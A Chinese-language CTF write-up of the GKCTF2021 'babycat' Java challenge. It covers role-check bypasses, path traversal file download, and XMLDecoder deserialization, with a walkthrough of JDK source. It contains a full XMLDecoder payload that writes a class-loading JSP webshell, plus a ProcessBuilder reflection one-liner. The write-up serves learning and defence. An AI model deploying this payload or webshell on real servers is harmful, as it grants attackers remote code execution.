[GKCTF2021]babycat与XMLDecoder反序列化
java题,有一个非预期版本和一个完全体,由于我垃圾的java基础和审计水平,并没有发现非预期写的垃圾代码,都是按完全体思路去做的
题解
注册登录两个路由,注册点了之后会有一个not allowed的烟雾弹,但是其实页面存在且有js提示。但是我直接抓了个登录的包然后改路由到register上成功注册了
登录进去之后有两个主要功能,一个上传一个下载,上传要求用户权限admin,而下载是个任意文件下载。一开始并没有意识到这个是java题,还在想是不是nodejs或者python,但是后来看那个默认的图片下载目录穿越了两层目录才下下来,越想越不对劲,感觉可能是java。开始乱按,对java的工作路径和目录结构不是很熟悉,但还是成功摸到../../WEB-INF/web.xml
,看到了各个类的路径
依次根据各类路径下载class文件,丢到Intellij中反编译。
admin登录
成为admin的关键代码为这段
String var = req.getParameter("data").replaceAll(" ", "").replace("'", "\"");
Pattern pattern = Pattern.compile("\"role\":\"(.*?)\"");
for(Matcher matcher = pattern.matcher(var); matcher.find(); role = matcher.group()) {
}
Person person;
if (!StringUtils.isNullOrEmpty(role)) {
var = var.replace(role, "\"role\":\"guest\"");
person = (Person)gson.fromJson(var, Person.class);
} else {
person = (Person)gson.fromJson(var, Person.class);
person.setRole("guest");
}
先去除空格,再把单引号换成双引号,最后正则匹配role属性,并将匹配到的最后一个role属性替换成guest(我一开始还以为会替换所有),最后用json解析字符串产生person对象
有很多的绕过方式
- Unicode绕过,先整一个没用的role,json在存在多个相同键时最后一个会覆盖之前的值,且支持Unicode编码,
"\u0072ole"/**/:"admin"
即可 - 注释符绕过,json支持
/**/
注释符,在中间塞一个打断正则匹配"role"/**/:"admin"
- 无效属性绕过,因为只替换最后一个,所以在最后套一层没用的属性也可以过
"rubish":{"role":"admin"}
文件上传
文件上传的话限制了后缀为String[] extWhiteList = new String[]{"jpg", "png", "gif", "bak", "properties", "xml", "html", "xhtml", "zip", "gz", "tar", "txt"};
同时限定了内容黑名单String[] blackList = new String[]{"Runtime", "exec", "ProcessBuilder", "jdbc", "autoCommit"};
成功抵达未知领域
看wp环节,这里提出在login中读取数据库配置文件是使用的xmldecoder类的readObject,读取的是System.getenv("CATALINA_HOME") + "/webapps/ROOT/WEB-INF/db/db.xml")
,而这个操作是存在反序列化漏洞的,且文件上传的后缀中允许上传xml文件,我们可以通过上传文件覆盖db.xml来实现反序列化攻击。
这里的CATALINA_HOME
这个环境变量可以通过读proc文件系统获取,但还需要绕过内容的黑名单进行命令执行,这里使用PrintWriter类写入shell以绕过
先放下payload,然后再细说各种原理
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_192" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>shell.jsp</string>
<void method="println">
<string>
<![CDATA[
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
]]>
</string>
</void>
<void method="close">
</void>
</object>
</java>
这里直接传一个蚁剑的jsp shell上去,可以直接绕过黑名单过滤,也可以用Unicode编码绕过
这里的CDATA是XML的一个标记,表示其中的内容不进行处理,防止尖括号等字符被错误解析
Unicode绕过原理
java是能解析Unicode的,比如"\u0072"=="r"
的结果是true,既然如此,输入的内容本身能被解析时,就不应该能绕过检测,因为这个字符会被等价替换成对应的字符,这里既能用Unicode绕过json,又能用Unicode绕过黑名单写入shell,必然有他的原理
显然,用户输入一个\u0072
时,在后端接受到的应该是\\u0072
,这里的斜杠应该是认为被转义了的,既然如此,那么java本身就不会直接去解析这个Unicode编码,而是其之后的操作再次解析Unicode编码,才使得内容能既绕过检测,又成功解析。
绕过注册,是因为json在解析时同样接受Unicode,java接收到\\u0072
后,认为斜杠被转义,未直接将其解析为r,但在json库解析时即认为传入的字符串为\u0072
,再次解析,成为字符r
绕过上传也是类似的原理,上传时斜线被转义,未解析,但其在写入的xml文件中已经是\u0072
这种类型的格式,再触发PrintWriter执行时,再以Unicode格式解析,在写入时已经是写入的正常字符
说到底也就是那种先检测再简析的经典漏洞代码类型
PS:虽然java部署APP的时候有很多奇怪的属性要靠xml来配置,但是jsp似乎只要传上去加能访问就能直接跑起来,所以传jsp shell效果和php一句话是差不多的
非预期解
垃圾的我专注于绕过根本没有注意到出题人写的其实是垃圾代码。。。
出题人在upload的GET方法中进行了身份校验,但POST方法并没有,因此不需要伪造admin身份直接POST传文件就能传
然后在upload的文件检测中虽然进行了内容过滤,但过滤之后只是给出了一个错误提示,并没有让函数退出。。。所以后面的上传代码会继续执行,也就是说,这个题目只要直接往upload路由传一个jsp shell就能全部打通。。。
XMLDecoder反序列化
这个是全新内容,临时进行了学习。
XMLDecoder可以从一个xml文档中还原出对象来,而在换源出对象的过程中只要我们精心构造,就能进行命令执行。
跟着网上的文章简单的跟了一下执行的过程,主要看两个函数startElement
和endElement
startElement会将当前element的handler的parent指向上一层element的handler,并检查当前标签有无属性,若存在属性则根据属性的键将属性的值赋值到当前element对象的不同字段上。endElement
则主要调用getValueObject
函数,根据对象类型的不同调用的getValueObject函数会有所差异
简单讲一下上面这个xml在运行时的逻辑,跳过java标签的解析
首先进入Object标签的startElement
,创建一个handler,由于该标签存在一个名为class的属性,先进this.handler.addAttribute(name, value);
,找不到name对应的值,进super.addAttribute(name, value);
,将该element的type赋值为对应的class
// DocumentHandler.java
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
ElementHandler parent = this.handler;
try {
this.handler = getElementHandler(qName).newInstance();
this.handler.setOwner(this);
this.handler.setParent(parent);
}
catch (Exception exception) {
throw new SAXException(exception);
}
for (int i = 0; i < attributes.getLength(); i++)
try {
String name = attributes.getQName(i);
String value = attributes.getValue(i);
this.handler.addAttribute(name, value);
}
catch (RuntimeException exception) {
handleException(exception);
}
this.handler.startElement();
}
public final void addAttribute(String name, String value) {
if (name.equals("idref")) { // NON-NLS: the attribute name
this.idref = value;
} else if (name.equals("field")) { // NON-NLS: the attribute name
this.field = value;
} else if (name.equals("index")) { // NON-NLS: the attribute name
this.index = Integer.valueOf(value);
addArgument(this.index); // hack for compatibility
} else if (name.equals("property")) { // NON-NLS: the attribute name
this.property = value;
} else if (name.equals("method")) { // NON-NLS: the attribute name
this.method = value;
} else {
super.addAttribute(name, value);
}
}
public void addAttribute(String name, String value) {
if (name.equals("class")) { // NON-NLS: the attribute name
this.type = getOwner().findClass(value);
} else {
super.addAttribute(name, value);
}
}
接下来进入string标签的startElement,函数上同。
解析到</string>
,表示string标签结束,进入endElement函数,进入到StringElementHandler的getValueObject
,获取到string标签中的值shell.jsp
,在getValueObject
中实例化为字符串,然后在endElement
中添加到父handler的argument属性中
// ElementHandler.java
public void endElement() {
// do nothing if no value returned
ValueObject value = getValueObject();
if (!value.isVoid()) {
if (this.id != null) {
this.owner.setVariable(this.id, value.getValue());
}
if (isArgument()) {
if (this.parent != null) {
this.parent.addArgument(value.getValue());
} else {
this.owner.addObject(value.getValue());
}
}
}
}
// StringElementHandler.java
protected final ValueObject getValueObject() {
if (this.sb != null) {
try {
this.value = ValueObjectImpl.create(getValue(this.sb.toString()));
}
catch (RuntimeException exception) {
getOwner().handleException(exception);
}
finally {
this.sb = null;
}
}
return this.value;
}
进入void标签的startElement
,该标签存在一个属性method,将其值赋值到当前element的对应属性上
处理下一个string标签,和之前的处理相同,给void标签的element添加了一个argument属性
由于抵达</void>
,进入void标签的endElement
,将之前的args传入作为参数,在getContextBean
中会调用parent的getContextBean
,最后会进入一个无参getValueObject
,其中以element的type和args为参数返回了实例化的一个类对象,先是返回一个type为class,args为PrintWriter的class对象,再以type为PrintWriter,args为shell.jsp创建一个PrintWriter对象,最终创建expression对象进行反射调用(expression对象是反射的一种封装)
protected final ValueObject getValueObject(Class<?> type, Object[] args) throws Exception {
if (this.field != null) {
return ValueObjectImpl.create(FieldElementHandler.getFieldValue(getContextBean(), this.field));
}
if (this.idref != null) {
return ValueObjectImpl.create(getVariable(this.idref));
}
Object bean = getContextBean();
String name;
if (this.index != null) {
name = (args.length == 2)
? PropertyElementHandler.SETTER
: PropertyElementHandler.GETTER;
} else if (this.property != null) {
name = (args.length == 1)
? PropertyElementHandler.SETTER
: PropertyElementHandler.GETTER;
if (0 < this.property.length()) {
name += this.property.substring(0, 1).toUpperCase(ENGLISH) + this.property.substring(1);
}
} else {
name = (this.method != null) && (0 < this.method.length())
? this.method
: "new"; // NON-NLS: the constructor marker
}
Expression expression = new Expression(bean, name, args);
return ValueObjectImpl.create(expression.getValue());
}
protected final ValueObject getValueObject() {
if (this.arguments != null) {
try {
this.value = getValueObject(this.type, this.arguments.toArray());
}
catch (Exception exception) {
getOwner().handleException(exception);
}
finally {
this.arguments = null;
}
}
return this.value;
}
第二次进入void标签并退出时,基础操作均同上,但这里由于之前已经实例化了PrintWriter对象,并把值赋到了value上,且清空了arguments,所以这里直接通过value获取到了之前的PrintWriter对象
反射不能
这里本来想着能不能直接写一个反射进行命令执行,但跟了一下之后发现,这里并不能存储变量,反射取得的返回值并不能保存下来进行传递,那么不保存中间变量的话,想反射执行命令大概得是这个样子的Class.forName("java.lang.ProcessBuilder").getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe")))
就目前看来XMLDecoder一个标签一个标签的解析,每次就能对一个对象调用一个方法,拿不到返回值就是没戏啦